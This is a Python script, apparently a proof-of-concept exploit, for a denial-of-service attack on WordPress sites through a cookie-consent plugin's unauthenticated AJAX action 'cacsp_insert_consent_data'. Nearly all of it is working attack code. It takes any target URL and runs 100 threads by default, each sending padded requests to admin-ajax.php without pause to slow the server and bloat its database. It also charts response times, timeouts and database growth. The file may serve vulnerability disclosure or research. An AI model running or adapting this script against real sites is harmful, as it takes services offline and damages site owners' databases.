import requests import threading import time from datetime import datetime import matplotlib.pyplot as plt import argparse # Global lists for chart data response_times = [] timestamps = [] timeout_times = [] successful_requests = 0 db_sizes = [] # Track database size over time # Simple function to spam the target with AJAX requests def ajax_dos_attack(target_url): # Basic payload that triggers the vulnerable endpoint data = { 'action': 'cacsp_insert_consent_data', 'accepted_cookies': 'necessary,experience,analytics,marketing', 'expires': "9" * 255 # TINYTEXT max length } headers = { 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Referer': target_url, 'X-Requested-With': 'XMLHttpRequest' } # Keep hammering the server until stopped while True: try: # Start timing the request start_time = time.time() # Fire the request at admin-ajax.php response = requests.post( f"{target_url}/wp-admin/admin-ajax.php", data=data, headers=headers, timeout=5 ) # Calculate how long the server took to respond response_time = round((time.time() - start_time) * 1000, 2) # Record data for chart response_times.append(response_time) timestamps.append(time.time()) # Calculate database impact (only for successful requests) if response.status_code == 200: global successful_requests successful_requests += 1 # Dynamic calculation based on actual payload data time_bytes = 19 # "2024-08-04 22:10:41" ip_bytes = 13 # Average IPv4 length accepted_cookies_bytes = len(data['accepted_cookies']) + 1 # payload + space expires_bytes = len(data['expires']) site_bytes = 1 # "1" mysql_overhead = 22 # InnoDB overhead per row bytes_per_row = time_bytes + ip_bytes + accepted_cookies_bytes + expires_bytes + site_bytes + mysql_overhead db_size_mb = (successful_requests * bytes_per_row) / 1024 / 1024 db_sizes.append(db_size_mb) db_info = f" | DB: {db_size_mb:.2f}MB ({successful_requests} rows, {bytes_per_row}b/row)" else: db_info = "" db_sizes.append(db_sizes[-1] if db_sizes else 0) # Keep last size for failed requests # Show if request worked and how slow the server got status = "✓" if response.status_code == 200 else "✗" print(f"[{datetime.now().strftime('%H:%M:%S')}] {status} Status: {response.status_code} | Response time: {response_time}ms{db_info}") except requests.exceptions.Timeout: # Server is probably getting overwhelmed timeout_times.append(time.time()) print(f"[{datetime.now().strftime('%H:%M:%S')}] ⚠ TIMEOUT - server not responding") except Exception as e: # Something else broke print(f"[{datetime.now().strftime('%H:%M:%S')}] ✗ Error: {str(e)[:60]}") # Main attack launcher if __name__ == "__main__": parser = argparse.ArgumentParser(description="DoS attack via vulnerable WordPress AJAX endpoint") parser.add_argument("--target", required=True, help="Target WordPress URL (e.g. https://example.com)") parser.add_argument("--threads", type=int, default=100, help="Number of threads (default: 100)") args = parser.parse_args() target = args.target thread_count = args.threads print(f"\nLaunching DoS attack with {thread_count} threads...") print("Press Ctrl+C to stop the attack\n") # Spawn all the attack threads threads = [] for i in range(thread_count): t = threading.Thread(target=ajax_dos_attack, args=(target,)) t.daemon = True # Die when main program dies t.start() threads.append(t) # Small delay to avoid overwhelming our own system time.sleep(0.01) try: # Keep the chaos going until user stops it while True: time.sleep(1) except KeyboardInterrupt: # Clean shutdown and generate chart print("\n\nStopped by user") if response_times: # Sync list lengths (threads may add data after interrupt) min_len = min(len(response_times), len(timestamps), len(db_sizes)) times = [(timestamps[i] - timestamps[0]) for i in range(min_len)] responses = response_times[:min_len] db_data = db_sizes[:min_len] # Create subplots fig, (ax1, ax2) = plt.subplots(2, 1, figsize=(12, 10)) # Response time chart (top) ax1.plot(times, responses, 'b-', linewidth=0.5, label='Response Time') if timeout_times and timestamps: timeout_relative = [(t - timestamps[0]) for t in timeout_times if timestamps] ax1.scatter(timeout_relative, [5000] * len(timeout_relative), color='red', s=20, label='Timeouts', zorder=5) ax1.set_ylabel('Response Time (ms)') ax1.set_title('Cookies and Content Security Policy') ax1.legend() ax1.grid(True, alpha=0.3) # Database size chart (bottom) ax2.plot(times, db_data, 'g-', linewidth=1, label='Database Size') ax2.set_xlabel('Time (seconds)') ax2.set_ylabel('Database Size (MB)') ax2.set_title('Database Growth Over Time') ax2.legend() ax2.grid(True, alpha=0.3) plt.tight_layout() plt.savefig('dos_attack_chart.png', dpi=150, bbox_inches='tight') print("Chart saved as 'dos_attack_chart.png'")